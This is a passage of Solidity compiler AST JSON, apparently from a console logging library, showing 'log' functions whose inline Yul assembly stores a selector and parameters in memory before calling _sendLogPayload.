mutable","name":"m3","nameLocation":"174877:2:22","nodeType":"VariableDeclaration","scope":39503,"src":"174869:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39490,"name":"bytes32","nodeType":"ElementaryTypeName","src":"174869:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39492,"nodeType":"VariableDeclarationStatement","src":"174869:10:22"},{"assignments":[39494],"declarations":[{"constant":false,"id":39494,"mutability":"mutable","name":"m4","nameLocation":"174897:2:22","nodeType":"VariableDeclaration","scope":39503,"src":"174889:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39493,"name":"bytes32","nodeType":"ElementaryTypeName","src":"174889:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39495,"nodeType":"VariableDeclarationStatement","src":"174889:10:22"},{"AST":{"nativeSrc":"174918:375:22","nodeType":"YulBlock","src":"174918:375:22","statements":[{"nativeSrc":"174932:17:22","nodeType":"YulAssignment","src":"174932:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"174944:4:22","nodeType":"YulLiteral","src":"174944:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"174938:5:22","nodeType":"YulIdentifier","src":"174938:5:22"},"nativeSrc":"174938:11:22","nodeType":"YulFunctionCall","src":"174938:11:22"},"variableNames":[{"name":"m0","nativeSrc":"174932:2:22","nodeType":"YulIdentifier","src":"174932:2:22"}]},{"nativeSrc":"174962:17:22","nodeType":"YulAssignment","src":"174962:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"174974:4:22","nodeType":"YulLiteral","src":"174974:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"174968:5:22","nodeType":"YulIdentifier","src":"174968:5:22"},"nativeSrc":"174968:11:22","nodeType":"YulFunctionCall","src":"174968:11:22"},"variableNames":[{"name":"m1","nativeSrc":"174962:2:22","nodeType":"YulIdentifier","src":"174962:2:22"}]},{"nativeSrc":"174992:17:22","nodeType":"YulAssignment","src":"174992:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"175004:4:22","nodeType":"YulLiteral","src":"175004:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"174998:5:22","nodeType":"YulIdentifier","src":"174998:5:22"},"nativeSrc":"174998:11:22","nodeType":"YulFunctionCall","src":"174998:11:22"},"variableNames":[{"name":"m2","nativeSrc":"174992:2:22","nodeType":"YulIdentifier","src":"174992:2:22"}]},{"nativeSrc":"175022:17:22","nodeType":"YulAssignment","src":"175022:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"175034:4:22","nodeType":"YulLiteral","src":"175034:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"175028:5:22","nodeType":"YulIdentifier","src":"175028:5:22"},"nativeSrc":"175028:11:22","nodeType":"YulFunctionCall","src":"175028:11:22"},"variableNames":[{"name":"m3","nativeSrc":"175022:2:22","nodeType":"YulIdentifier","src":"175022:2:22"}]},{"nativeSrc":"175052:17:22","nodeType":"YulAssignment","src":"175052:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"175064:4:22","nodeType":"YulLiteral","src":"175064:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"175058:5:22","nodeType":"YulIdentifier","src":"175058:5:22"},"nativeSrc":"175058:11:22","nodeType":"YulFunctionCall","src":"175058:11:22"},"variableNames":[{"name":"m4","nativeSrc":"175052:2:22","nodeType":"YulIdentifier","src":"175052:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"175150:4:22","nodeType":"YulLiteral","src":"175150:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"175156:10:22","nodeType":"YulLiteral","src":"175156:10:22","type":"","value":"0x4c123d57"}],"functionName":{"name":"mstore","nativeSrc":"175143:6:22","nodeType":"YulIdentifier","src":"175143:6:22"},"nativeSrc":"175143:24:22","nodeType":"YulFunctionCall","src":"175143:24:22"},"nativeSrc":"175143:24:22","nodeType":"YulExpressionStatement","src":"175143:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"175187:4:22","nodeType":"YulLiteral","src":"175187:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"175193:2:22","nodeType":"YulIdentifier","src":"175193:2:22"}],"functionName":{"name":"mstore","nativeSrc":"175180:6:22","nodeType":"YulIdentifier","src":"175180:6:22"},"nativeSrc":"175180:16:22","nodeType":"YulFunctionCall","src":"175180:16:22"},"nativeSrc":"175180:16:22","nodeType":"YulExpressionStatement","src":"175180:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"175216:4:22","nodeType":"YulLiteral","src":"175216:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"175222:2:22","nodeType":"YulIdentifier","src":"175222:2:22"}],"functionName":{"name":"mstore","nativeSrc":"175209:6:22","nodeType":"YulIdentifier","src":"175209:6:22"},"nativeSrc":"175209:16:22","nodeType":"YulFunctionCall","src":"175209:16:22"},"nativeSrc":"175209:16:22","nodeType":"YulExpressionStatement","src":"175209:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"175245:4:22","nodeType":"YulLiteral","src":"175245:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"175251:2:22","nodeType":"YulIdentifier","src":"175251:2:22"}],"functionName":{"name":"mstore","nativeSrc":"175238:6:22","nodeType":"YulIdentifier","src":"175238:6:22"},"nativeSrc":"175238:16:22","nodeType":"YulFunctionCall","src":"175238:16:22"},"nativeSrc":"175238:16:22","nodeType":"YulExpressionStatement","src":"175238:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"175274:4:22","nodeType":"YulLiteral","src":"175274:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"175280:2:22","nodeType":"YulIdentifier","src":"175280:2:22"}],"functionName":{"name":"mstore","nativeSrc":"175267:6:22","nodeType":"YulIdentifier","src":"175267:6:22"},"nativeSrc":"175267:16:22","nodeType":"YulFunctionCall","src":"175267:16:22"},"nativeSrc":"175267:16:22","nodeType":"YulExpressionStatement","src":"175267:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39482,"isOffset":false,"isSlot":false,"src":"174932:2:22","valueSize":1},{"declaration":39485,"isOffset":false,"isSlot":false,"src":"174962:2:22","valueSize":1},{"declaration":39488,"isOffset":false,"isSlot":false,"src":"174992:2:22","valueSize":1},{"declaration":39491,"isOffset":false,"isSlot":false,"src":"175022:2:22","valueSize":1},{"declaration":39494,"isOffset":false,"isSlot":false,"src":"175052:2:22","valueSize":1},{"declaration":39472,"isOffset":false,"isSlot":false,"src":"175193:2:22","valueSize":1},{"declaration":39474,"isOffset":false,"isSlot":false,"src":"175222:2:22","valueSize":1},{"declaration":39476,"isOffset":false,"isSlot":false,"src":"175251:2:22","valueSize":1},{"declaration":39478,"isOffset":false,"isSlot":false,"src":"175280:2:22","valueSize":1}],"id":39496,"nodeType":"InlineAssembly","src":"174909:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39498,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"175318:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":39499,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"175324:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":39497,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"175302:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39500,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"175302:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39501,"nodeType":"ExpressionStatement","src":"175302:27:22"},{"AST":{"nativeSrc":"175348:156:22","nodeType":"YulBlock","src":"175348:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"175369:4:22","nodeType":"YulLiteral","src":"175369:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"175375:2:22","nodeType":"YulIdentifier","src":"175375:2:22"}],"functionName":{"name":"mstore","nativeSrc":"175362:6:22","nodeType":"YulIdentifier","src":"175362:6:22"},"nativeSrc":"175362:16:22","nodeType":"YulFunctionCall","src":"175362:16:22"},"nativeSrc":"175362:16:22","nodeType":"YulExpressionStatement","src":"175362:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"175398:4:22","nodeType":"YulLiteral","src":"175398:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"175404:2:22","nodeType":"YulIdentifier","src":"175404:2:22"}],"functionName":{"name":"mstore","nativeSrc":"175391:6:22","nodeType":"YulIdentifier","src":"175391:6:22"},"nativeSrc":"175391:16:22","nodeType":"YulFunctionCall","src":"175391:16:22"},"nativeSrc":"175391:16:22","nodeType":"YulExpressionStatement","src":"175391:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"175427:4:22","nodeType":"YulLiteral","src":"175427:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"175433:2:22","nodeType":"YulIdentifier","src":"175433:2:22"}],"functionName":{"name":"mstore","nativeSrc":"175420:6:22","nodeType":"YulIdentifier","src":"175420:6:22"},"nativeSrc":"175420:16:22","nodeType":"YulFunctionCall","src":"175420:16:22"},"nativeSrc":"175420:16:22","nodeType":"YulExpressionStatement","src":"175420:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"175456:4:22","nodeType":"YulLiteral","src":"175456:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"175462:2:22","nodeType":"YulIdentifier","src":"175462:2:22"}],"functionName":{"name":"mstore","nativeSrc":"175449:6:22","nodeType":"YulIdentifier","src":"175449:6:22"},"nativeSrc":"175449:16:22","nodeType":"YulFunctionCall","src":"175449:16:22"},"nativeSrc":"175449:16:22","nodeType":"YulExpressionStatement","src":"175449:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"175485:4:22","nodeType":"YulLiteral","src":"175485:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"175491:2:22","nodeType":"YulIdentifier","src":"175491:2:22"}],"functionName":{"name":"mstore","nativeSrc":"175478:6:22","nodeType":"YulIdentifier","src":"175478:6:22"},"nativeSrc":"175478:16:22","nodeType":"YulFunctionCall","src":"175478:16:22"},"nativeSrc":"175478:16:22","nodeType":"YulExpressionStatement","src":"175478:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39482,"isOffset":false,"isSlot":false,"src":"175375:2:22","valueSize":1},{"declaration":39485,"isOffset":false,"isSlot":false,"src":"175404:2:22","valueSize":1},{"declaration":39488,"isOffset":false,"isSlot":false,"src":"175433:2:22","valueSize":1},{"declaration":39491,"isOffset":false,"isSlot":false,"src":"175462:2:22","valueSize":1},{"declaration":39494,"isOffset":false,"isSlot":false,"src":"175491:2:22","valueSize":1}],"id":39502,"nodeType":"InlineAssembly","src":"175339:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"174739:3:22","parameters":{"id":39479,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39472,"mutability":"mutable","name":"p0","nameLocation":"174748:2:22","nodeType":"VariableDeclaration","scope":39504,"src":"174743:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39471,"name":"bool","nodeType":"ElementaryTypeName","src":"174743:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39474,"mutability":"mutable","name":"p1","nameLocation":"174757:2:22","nodeType":"VariableDeclaration","scope":39504,"src":"174752:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39473,"name":"bool","nodeType":"ElementaryTypeName","src":"174752:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39476,"mutability":"mutable","name":"p2","nameLocation":"174769:2:22","nodeType":"VariableDeclaration","scope":39504,"src":"174761:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39475,"name":"address","nodeType":"ElementaryTypeName","src":"174761:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":39478,"mutability":"mutable","name":"p3","nameLocation":"174781:2:22","nodeType":"VariableDeclaration","scope":39504,"src":"174773:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39477,"name":"uint256","nodeType":"ElementaryTypeName","src":"174773:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"174742:42:22"},"returnParameters":{"id":39480,"nodeType":"ParameterList","parameters":[],"src":"174799:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39544,"nodeType":"FunctionDefinition","src":"175516:1328:22","nodes":[],"body":{"id":39543,"nodeType":"Block","src":"175585:1259:22","nodes":[],"statements":[{"assignments":[39516],"declarations":[{"constant":false,"id":39516,"mutability":"mutable","name":"m0","nameLocation":"175603:2:22","nodeType":"VariableDeclaration","scope":39543,"src":"175595:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39515,"name":"bytes32","nodeType":"ElementaryTypeName","src":"175595:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39517,"nodeType":"VariableDeclarationStatement","src":"175595:10:22"},{"assignments":[39519],"declarations":[{"constant":false,"id":39519,"mutability":"mutable","name":"m1","nameLocation":"175623:2:22","nodeType":"VariableDeclaration","scope":39543,"src":"175615:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39518,"name":"bytes32","nodeType":"ElementaryTypeName","src":"175615:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39520,"nodeType":"VariableDeclarationStatement","src":"175615:10:22"},{"assignments":[39522],"declarations":[{"constant":false,"id":39522,"mutability":"mutable","name":"m2","nameLocation":"175643:2:22","nodeType":"VariableDeclaration","scope":39543,"src":"175635:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39521,"name":"bytes32","nodeType":"ElementaryTypeName","src":"175635:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39523,"nodeType":"VariableDeclarationStatement","src":"175635:10:22"},{"assignments":[39525],"declarations":[{"constant":false,"id":39525,"mutability":"mutable","name":"m3","nameLocation":"175663:2:22","nodeType":"VariableDeclaration","scope":39543,"src":"175655:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39524,"name":"bytes32","nodeType":"ElementaryTypeName","src":"175655:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39526,"nodeType":"VariableDeclarationStatement","src":"175655:10:22"},{"assignments":[39528],"declarations":[{"constant":false,"id":39528,"mutability":"mutable","name":"m4","nameLocation":"175683:2:22","nodeType":"VariableDeclaration","scope":39543,"src":"175675:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39527,"name":"bytes32","nodeType":"ElementaryTypeName","src":"175675:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39529,"nodeType":"VariableDeclarationStatement","src":"175675:10:22"},{"assignments":[39531],"declarations":[{"constant":false,"id":39531,"mutability":"mutable","name":"m5","nameLocation":"175703:2:22","nodeType":"VariableDeclaration","scope":39543,"src":"175695:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39530,"name":"bytes32","nodeType":"ElementaryTypeName","src":"175695:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39532,"nodeType":"VariableDeclarationStatement","src":"175695:10:22"},{"assignments":[39534],"declarations":[{"constant":false,"id":39534,"mutability":"mutable","name":"m6","nameLocation":"175723:2:22","nodeType":"VariableDeclaration","scope":39543,"src":"175715:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39533,"name":"bytes32","nodeType":"ElementaryTypeName","src":"175715:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39535,"nodeType":"VariableDeclarationStatement","src":"175715:10:22"},{"AST":{"nativeSrc":"175744:825:22","nodeType":"YulBlock","src":"175744:825:22","statements":[{"body":{"nativeSrc":"175787:313:22","nodeType":"YulBlock","src":"175787:313:22","statements":[{"nativeSrc":"175805:15:22","nodeType":"YulVariableDeclaration","src":"175805:15:22","value":{"kind":"number","nativeSrc":"175819:1:22","nodeType":"YulLiteral","src":"175819:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"175809:6:22","nodeType":"YulTypedName","src":"175809:6:22","type":""}]},{"body":{"nativeSrc":"175890:40:22","nodeType":"YulBlock","src":"175890:40:22","statements":[{"body":{"nativeSrc":"175919:9:22","nodeType":"YulBlock","src":"175919:9:22","statements":[{"nativeSrc":"175921:5:22","nodeType":"YulBreak","src":"175921:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"175907:6:22","nodeType":"YulIdentifier","src":"175907:6:22"},{"name":"w","nativeSrc":"175915:1:22","nodeType":"YulIdentifier","src":"175915:1:22"}],"functionName":{"name":"byte","nativeSrc":"175902:4:22","nodeType":"YulIdentifier","src":"175902:4:22"},"nativeSrc":"175902:15:22","nodeType":"YulFunctionCall","src":"175902:15:22"}],"functionName":{"name":"iszero","nativeSrc":"175895:6:22","nodeType":"YulIdentifier","src":"175895:6:22"},"nativeSrc":"175895:23:22","nodeType":"YulFunctionCall","src":"175895:23:22"},"nativeSrc":"175892:36:22","nodeType":"YulIf","src":"175892:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"175847:6:22","nodeType":"YulIdentifier","src":"175847:6:22"},{"kind":"number","nativeSrc":"175855:4:22","nodeType":"YulLiteral","src":"175855:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"175844:2:22","nodeType":"YulIdentifier","src":"175844:2:22"},"nativeSrc":"175844:16:22","nodeType":"YulFunctionCall","src":"175844:16:22"},"nativeSrc":"175837:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"175861:28:22","nodeType":"YulBlock","src":"175861:28:22","statements":[{"nativeSrc":"175863:24:22","nodeType":"YulAssignment","src":"175863:24:22","value":{"arguments":[{"name":"length","nativeSrc":"175877:6:22","nodeType":"YulIdentifier","src":"175877:6:22"},{"kind":"number","nativeSrc":"175885:1:22","nodeType":"YulLiteral","src":"175885:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"175873:3:22","nodeType":"YulIdentifier","src":"175873:3:22"},"nativeSrc":"175873:14:22","nodeType":"YulFunctionCall","src":"175873:14:22"},"variableNames":[{"name":"length","nativeSrc":"175863:6:22","nodeType":"YulIdentifier","src":"175863:6:22"}]}]},"pre":{"nativeSrc":"175841:2:22","nodeType":"YulBlock","src":"175841:2:22","statements":[]},"src":"175837:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"175954:3:22","nodeType":"YulIdentifier","src":"175954:3:22"},{"name":"length","nativeSrc":"175959:6:22","nodeType":"YulIdentifier","src":"175959:6:22"}],"functionName":{"name":"mstore","nativeSrc":"175947:6:22","nodeType":"YulIdentifier","src":"175947:6:22"},"nativeSrc":"175947:19:22","nodeType":"YulFunctionCall","src":"175947:19:22"},"nativeSrc":"175947:19:22","nodeType":"YulExpressionStatement","src":"175947:19:22"},{"nativeSrc":"175983:37:22","nodeType":"YulVariableDeclaration","src":"175983:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"176000:3:22","nodeType":"YulLiteral","src":"176000:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"176009:1:22","nodeType":"YulLiteral","src":"176009:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"176012:6:22","nodeType":"YulIdentifier","src":"176012:6:22"}],"functionName":{"name":"shl","nativeSrc":"176005:3:22","nodeType":"YulIdentifier","src":"176005:3:22"},"nativeSrc":"176005:14:22","nodeType":"YulFunctionCall","src":"176005:14:22"}],"functionName":{"name":"sub","nativeSrc":"175996:3:22","nodeType":"YulIdentifier","src":"175996:3:22"},"nativeSrc":"175996:24:22","nodeType":"YulFunctionCall","src":"175996:24:22"},"variables":[{"name":"shift","nativeSrc":"175987:5:22","nodeType":"YulTypedName","src":"175987:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"176048:3:22","nodeType":"YulIdentifier","src":"176048:3:22"},{"kind":"number","nativeSrc":"176053:4:22","nodeType":"YulLiteral","src":"176053:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"176044:3:22","nodeType":"YulIdentifier","src":"176044:3:22"},"nativeSrc":"176044:14:22","nodeType":"YulFunctionCall","src":"176044:14:22"},{"arguments":[{"name":"shift","nativeSrc":"176064:5:22","nodeType":"YulIdentifier","src":"176064:5:22"},{"arguments":[{"name":"shift","nativeSrc":"176075:5:22","nodeType":"YulIdentifier","src":"176075:5:22"},{"name":"w","nativeSrc":"176082:1:22","nodeType":"YulIdentifier","src":"176082:1:22"}],"functionName":{"name":"shr","nativeSrc":"176071:3:22","nodeType":"YulIdentifier","src":"176071:3:22"},"nativeSrc":"176071:13:22","nodeType":"YulFunctionCall","src":"176071:13:22"}],"functionName":{"name":"shl","nativeSrc":"176060:3:22","nodeType":"YulIdentifier","src":"176060:3:22"},"nativeSrc":"176060:25:22","nodeType":"YulFunctionCall","src":"176060:25:22"}],"functionName":{"name":"mstore","nativeSrc":"176037:6:22","nodeType":"YulIdentifier","src":"176037:6:22"},"nativeSrc":"176037:49:22","nodeType":"YulFunctionCall","src":"176037:49:22"},"nativeSrc":"176037:49:22","nodeType":"YulExpressionStatement","src":"176037:49:22"}]},"name":"writeString","nativeSrc":"175758:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"175779:3:22","nodeType":"YulTypedName","src":"175779:3:22","type":""},{"name":"w","nativeSrc":"175784:1:22","nodeType":"YulTypedName","src":"175784:1:22","type":""}],"src":"175758:342:22"},{"nativeSrc":"176113:17:22","nodeType":"YulAssignment","src":"176113:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"176125:4:22","nodeType":"YulLiteral","src":"176125:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"176119:5:22","nodeType":"YulIdentifier","src":"176119:5:22"},"nativeSrc":"176119:11:22","nodeType":"YulFunctionCall","src":"176119:11:22"},"variableNames":[{"name":"m0","nativeSrc":"176113:2:22","nodeType":"YulIdentifier","src":"176113:2:22"}]},{"nativeSrc":"176143:17:22","nodeType":"YulAssignment","src":"176143:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"176155:4:22","nodeType":"YulLiteral","src":"176155:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"176149:5:22","nodeType":"YulIdentifier","src":"176149:5:22"},"nativeSrc":"176149:11:22","nodeType":"YulFunctionCall","src":"176149:11:22"},"variableNames":[{"name":"m1","nativeSrc":"176143:2:22","nodeType":"YulIdentifier","src":"176143:2:22"}]},{"nativeSrc":"176173:17:22","nodeType":"YulAssignment","src":"176173:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"176185:4:22","nodeType":"YulLiteral","src":"176185:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"176179:5:22","nodeType":"YulIdentifier","src":"176179:5:22"},"nativeSrc":"176179:11:22","nodeType":"YulFunctionCall","src":"176179:11:22"},"variableNames":[{"name":"m2","nativeSrc":"176173:2:22","nodeType":"YulIdentifier","src":"176173:2:22"}]},{"nativeSrc":"176203:17:22","nodeType":"YulAssignment","src":"176203:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"176215:4:22","nodeType":"YulLiteral","src":"176215:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"176209:5:22","nodeType":"YulIdentifier","src":"176209:5:22"},"nativeSrc":"176209:11:22","nodeType":"YulFunctionCall","src":"176209:11:22"},"variableNames":[{"name":"m3","nativeSrc":"176203:2:22","nodeType":"YulIdentifier","src":"176203:2:22"}]},{"nativeSrc":"176233:17:22","nodeType":"YulAssignment","src":"176233:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"176245:4:22","nodeType":"YulLiteral","src":"176245:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"176239:5:22","nodeType":"YulIdentifier","src":"176239:5:22"},"nativeSrc":"176239:11:22","nodeType":"YulFunctionCall","src":"176239:11:22"},"variableNames":[{"name":"m4","nativeSrc":"176233:2:22","nodeType":"YulIdentifier","src":"176233:2:22"}]},{"nativeSrc":"176263:17:22","nodeType":"YulAssignment","src":"176263:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"176275:4:22","nodeType":"YulLiteral","src":"176275:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"176269:5:22","nodeType":"YulIdentifier","src":"176269:5:22"},"nativeSrc":"176269:11:22","nodeType":"YulFunctionCall","src":"176269:11:22"},"variableNames":[{"name":"m5","nativeSrc":"176263:2:22","nodeType":"YulIdentifier","src":"176263:2:22"}]},{"nativeSrc":"176293:17:22","nodeType":"YulAssignment","src":"176293:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"176305:4:22","nodeType":"YulLiteral","src":"176305:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"176299:5:22","nodeType":"YulIdentifier","src":"176299:5:22"},"nativeSrc":"176299:11:22","nodeType":"YulFunctionCall","src":"176299:11:22"},"variableNames":[{"name":"m6","nativeSrc":"176293:2:22","nodeType":"YulIdentifier","src":"176293:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"176390:4:22","nodeType":"YulLiteral","src":"176390:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"176396:10:22","nodeType":"YulLiteral","src":"176396:10:22","type":"","value":"0xa0a47963"}],"functionName":{"name":"mstore","nativeSrc":"176383:6:22","nodeType":"YulIdentifier","src":"176383:6:22"},"nativeSrc":"176383:24:22","nodeType":"YulFunctionCall","src":"176383:24:22"},"nativeSrc":"176383:24:22","nodeType":"YulExpressionStatement","src":"176383:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"176427:4:22","nodeType":"YulLiteral","src":"176427:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"176433:2:22","nodeType":"YulIdentifier","src":"176433:2:22"}],"functionName":{"name":"mstore","nativeSrc":"176420:6:22","nodeType":"YulIdentifier","src":"176420:6:22"},"nativeSrc":"176420:16:22","nodeType":"YulFunctionCall","src":"176420:16:22"},"nativeSrc":"176420:16:22","nodeType":"YulExpressionStatement","src":"176420:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"176456:4:22","nodeType":"YulLiteral","src":"176456:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"176462:2:22","nodeType":"YulIdentifier","src":"176462:2:22"}],"functionName":{"name":"mstore","nativeSrc":"176449:6:22","nodeType":"YulIdentifier","src":"176449:6:22"},"nativeSrc":"176449:16:22","nodeType":"YulFunctionCall","src":"176449:16:22"},"nativeSrc":"176449:16:22","nodeType":"YulExpressionStatement","src":"176449:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"176485:4:22","nodeType":"YulLiteral","src":"176485:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"176491:2:22","nodeType":"YulIdentifier","src":"176491:2:22"}],"functionName":{"name":"mstore","nativeSrc":"176478:6:22","nodeType":"YulIdentifier","src":"176478:6:22"},"nativeSrc":"176478:16:22","nodeType":"YulFunctionCall","src":"176478:16:22"},"nativeSrc":"176478:16:22","nodeType":"YulExpressionStatement","src":"176478:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"176514:4:22","nodeType":"YulLiteral","src":"176514:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"176520:4:22","nodeType":"YulLiteral","src":"176520:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"176507:6:22","nodeType":"YulIdentifier","src":"176507:6:22"},"nativeSrc":"176507:18:22","nodeType":"YulFunctionCall","src":"17